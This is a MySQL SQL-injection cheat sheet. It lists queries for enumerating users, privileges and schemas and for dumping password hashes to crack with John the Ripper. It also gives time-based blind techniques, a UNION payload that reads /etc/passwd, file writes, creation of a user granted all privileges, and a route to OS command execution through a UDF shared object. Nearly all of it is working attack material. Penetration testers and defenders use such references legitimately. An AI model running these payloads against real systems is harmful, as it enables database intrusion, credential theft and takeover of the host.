Injection Cheat Sheet - # MySqL

 SELECT 1; #comment
SELECT /*comment*/1;

SELECT user();
 SELECT system_user();

SELECT user FROM mysql.user; -- priv

SELECT host, user, password FROM mysql.user; -- priv

John the Ripper  will crack  MySqL  password hashes

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs

SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs

SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; -- list privs on databases (schemas)

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';

SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv

SELECT database()

SELECT schema_name FROM information_schema.schemata; -- for  MySqL  >= v5.0

SELECT distinct(db) FROM mysql.db -- priv8

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username'

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0

SELECT substr('abcd', 3, 1); # returns c

SELECT 6 & 2; # returns 2

SELECT 6 & 1; # returns 0

SELECT char(65); # returns A

SELECT ascii('A'); # returns 65

SELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);

 SELECT CONCAT('A','B'); #returns AB
SELECT CONCAT('A','B','C'); # returns ABC

 SELECT if(1=1,'foo','bar'); -- returns 'foo'

SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A

SELECT 0x414243; # returns ABC

SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5); # >= 5.0.12

If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.

...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read 
world-readable files.

SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system

CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv

DROP USER test1; -- priv

GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv

SELECT @@datadir